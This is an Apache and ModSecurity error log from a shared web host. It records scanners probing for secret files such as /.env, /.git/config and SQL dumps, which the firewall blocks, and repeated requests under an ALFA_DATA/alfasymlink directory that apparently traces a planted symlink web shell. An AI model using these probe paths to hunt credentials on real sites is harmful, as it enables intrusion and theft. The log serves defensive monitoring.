[Mon Oct 26 01:00:14.920176 2026] [security2:error] [pid 2963578:tid 2963578] [client 108.162.244.49:19100] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "at7eXol8CCaegHlNIHu7sgAAAD8"]
[Mon Oct 26 01:00:16.228013 2026] [authz_core:error] [pid 2963588:tid 2963588] [client 34.198.189.65:28107] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:00:18.175990 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 34.205.170.13:20535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:00:20.838315 2026] [authz_core:error] [pid 2961914:tid 2961914] [client 23.22.243.211:64418] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:00:22.270793 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 107.20.224.184:56147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:00:30.147427 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 44.213.36.21:23772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:00:38.280104 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 44.220.2.97:56673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:00:50.276209 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 54.147.238.89:3152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:00:50.484749 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 85.208.96.199:35958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/trace
[Mon Oct 26 01:00:54.406888 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 85.208.96.210:12968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/parameters/ports
[Mon Oct 26 01:01:06.197574 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.212.219.113:53254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:01:10.164341 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 34.226.89.140:60068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:01:14.155530 2026] [core:error] [pid 2963537:tid 2963537] (13)Permission denied: [client 34.224.9.144:19773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory13/node0/compact
[Mon Oct 26 01:01:18.138431 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 52.2.4.213:40213] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:01:18.138666 2026] [security2:error] [pid 2963578:tid 2963578] [client 52.2.4.213:40213] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1c/power/control"] [unique_id "at7enol8CCaegHlNIHu7uQAAAD8"]
[Mon Oct 26 01:01:18.138691 2026] [security2:error] [pid 2963578:tid 2963578] [client 52.2.4.213:40213] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1c/power/control"] [unique_id "at7enol8CCaegHlNIHu7uQAAAD8"]
[Mon Oct 26 01:01:26.153933 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 18.211.148.239:55193] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:01:38.250838 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 18.204.89.56:6748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:01:58.161675 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 34.225.24.180:62720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:02:02.126171 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 52.205.113.104:56274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:02:10.134450 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 54.197.178.107:10585] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0501:01/subsystem/drivers_probe
[Mon Oct 26 01:02:14.119232 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 34.203.111.15:63826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/mouse1/device/device/driver/unbind
[Mon Oct 26 01:02:22.130606 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 98.82.214.73:57657] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:02:43.193981 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 185.191.171.15:43992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/aliases
[Mon Oct 26 01:02:58.124540 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.88.84.219:47309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:03:01.033915 2026] [core:error] [pid 2963537:tid 2963537] (13)Permission denied: [client 185.191.171.8:23042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/remote_node_defrag_ratio
[Mon Oct 26 01:03:06.130626 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 23.23.104.107:62755] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:03:14.128394 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.225.148.123:28819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:03:30.124686 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 184.73.195.18:27905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:03:34.134994 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 18.207.89.138:49713] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:03:34.498276 2026] [core:error] [pid 2967021:tid 2967021] (13)Permission denied: [client 185.191.171.3:12136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/objects_partial
[Mon Oct 26 01:03:46.139902 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 44.195.145.102:12603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:04:10.170000 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 100.29.107.38:30862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:04:30.150346 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 52.71.46.142:35575] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:04:32.832385 2026] [ssl:error] [pid 2967021:tid 2967021] (70014)End of file found: [client 185.191.171.1:16066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:04:34.139238 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 35.171.117.160:24281] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:04:42.143816 2026] [ssl:error] [pid 2967015:tid 2967015] (70014)End of file found: [client 23.23.99.55:51256] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:04:50.125454 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 54.84.102.81:54899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:04:52.317867 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 185.191.171.13:61860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:05:02.145957 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 18.214.124.6:23495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:05:05.526163 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51214] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7fdN8riwHadHMxXEFzQgAAACU"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 01:05:05.526223 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51214] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7fdN8riwHadHMxXEFzQgAAACU"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 01:05:06.231957 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 52.70.138.176:62098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:05:11.132093 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 185.191.171.16:57080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/store_user
[Mon Oct 26 01:05:21.287759 2026] [security2:error] [pid 2963540:tid 2963540] [client 45.138.12.188:38992] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7fkVc7AJYJV1LqGIL4vgAAACI"]
[Mon Oct 26 01:05:21.288009 2026] [security2:error] [pid 2963540:tid 2963540] [client 45.138.12.188:38992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7fkVc7AJYJV1LqGIL4vgAAACI"]
[Mon Oct 26 01:05:21.288264 2026] [security2:error] [pid 2963540:tid 2963540] [client 45.138.12.188:38992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7fkVc7AJYJV1LqGIL4vgAAACI"]
[Mon Oct 26 01:05:21.377890 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.138.12.188:38994] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7fkYl8CCaegHlNIHu7xQAAAD8"]
[Mon Oct 26 01:05:21.378142 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.138.12.188:38994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7fkYl8CCaegHlNIHu7xQAAAD8"]
[Mon Oct 26 01:05:21.378389 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.138.12.188:38994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7fkYl8CCaegHlNIHu7xQAAAD8"]
[Mon Oct 26 01:05:26.126900 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 3.232.102.111:14318] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:05:30.153493 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 52.204.71.8:31748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/poison
[Mon Oct 26 01:05:33.977652 2026] [security2:error] [pid 2967444:tid 2967444] [client 47.51.31.186:33282] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7fnSzbxoDcPgmvgSFI_QAAAAI"]
[Mon Oct 26 01:05:33.977901 2026] [security2:error] [pid 2967444:tid 2967444] [client 47.51.31.186:33282] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7fnSzbxoDcPgmvgSFI_QAAAAI"]
[Mon Oct 26 01:05:33.979056 2026] [security2:error] [pid 2967444:tid 2967444] [client 47.51.31.186:33282] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7fnSzbxoDcPgmvgSFI_QAAAAI"]
[Mon Oct 26 01:05:36.036357 2026] [security2:error] [pid 2950561:tid 2950561] [client 47.51.31.186:42364] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7foCpqvgiisxqwl5wU9AAAAAU"]
[Mon Oct 26 01:05:36.036683 2026] [security2:error] [pid 2950561:tid 2950561] [client 47.51.31.186:42364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at7foCpqvgiisxqwl5wU9AAAAAU"]
[Mon Oct 26 01:05:36.037792 2026] [security2:error] [pid 2950561:tid 2950561] [client 47.51.31.186:42364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7foCpqvgiisxqwl5wU9AAAAAU"]
[Mon Oct 26 01:05:38.935155 2026] [security2:error] [pid 2950561:tid 2950561] [client 47.51.31.186:42364] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at7foipqvgiisxqwl5wU9QAAAAU"]
[Mon Oct 26 01:05:38.935614 2026] [security2:error] [pid 2950561:tid 2950561] [client 47.51.31.186:42364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at7foipqvgiisxqwl5wU9QAAAAU"]
[Mon Oct 26 01:05:38.936512 2026] [security2:error] [pid 2950561:tid 2950561] [client 47.51.31.186:42364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7foipqvgiisxqwl5wU9QAAAAU"]
[Mon Oct 26 01:05:41.809206 2026] [security2:error] [pid 2961914:tid 2961914] [client 107.172.76.131:51211] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7fmXjk-qQMDmOOoLWFFgAAACc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:05:41.809267 2026] [security2:error] [pid 2961914:tid 2961914] [client 107.172.76.131:51211] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7fmXjk-qQMDmOOoLWFFgAAACc"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:05:46.161609 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 52.0.63.151:34440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/physical_node/i2c-0/subsystem/drivers_probe
[Mon Oct 26 01:05:53.809142 2026] [security2:error] [pid 2963540:tid 2963540] [client 47.51.31.186:35782] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at7fsVc7AJYJV1LqGIL4wAAAACI"]
[Mon Oct 26 01:05:53.809659 2026] [security2:error] [pid 2963540:tid 2963540] [client 47.51.31.186:35782] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/database.sql"] [unique_id "at7fsVc7AJYJV1LqGIL4wAAAACI"]
[Mon Oct 26 01:05:53.810731 2026] [security2:error] [pid 2963540:tid 2963540] [client 47.51.31.186:35782] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7fsVc7AJYJV1LqGIL4wAAAACI"]
[Mon Oct 26 01:05:54.140221 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 54.83.56.1:24978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:06:02.130951 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.2.191.202:44068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:06:06.120990 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 184.73.239.35:50164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:06:10.208086 2026] [core:error] [pid 2963578:tid 2963578] (13)Permission denied: [client 52.45.77.169:24150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/virtio-pci/unbind
[Mon Oct 26 01:06:10.466029 2026] [security2:error] [pid 2967021:tid 2967021] [client 47.51.31.186:37616] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at7fwjwKIe2skRecVagKZgAAAAM"]
[Mon Oct 26 01:06:10.466578 2026] [security2:error] [pid 2967021:tid 2967021] [client 47.51.31.186:37616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "at7fwjwKIe2skRecVagKZgAAAAM"]
[Mon Oct 26 01:06:10.467683 2026] [security2:error] [pid 2967021:tid 2967021] [client 47.51.31.186:37616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at7fwjwKIe2skRecVagKZgAAAAM"]
[Mon Oct 26 01:06:18.284824 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 52.207.47.227:39905] AH02013: coalesce failed to read from data bucket
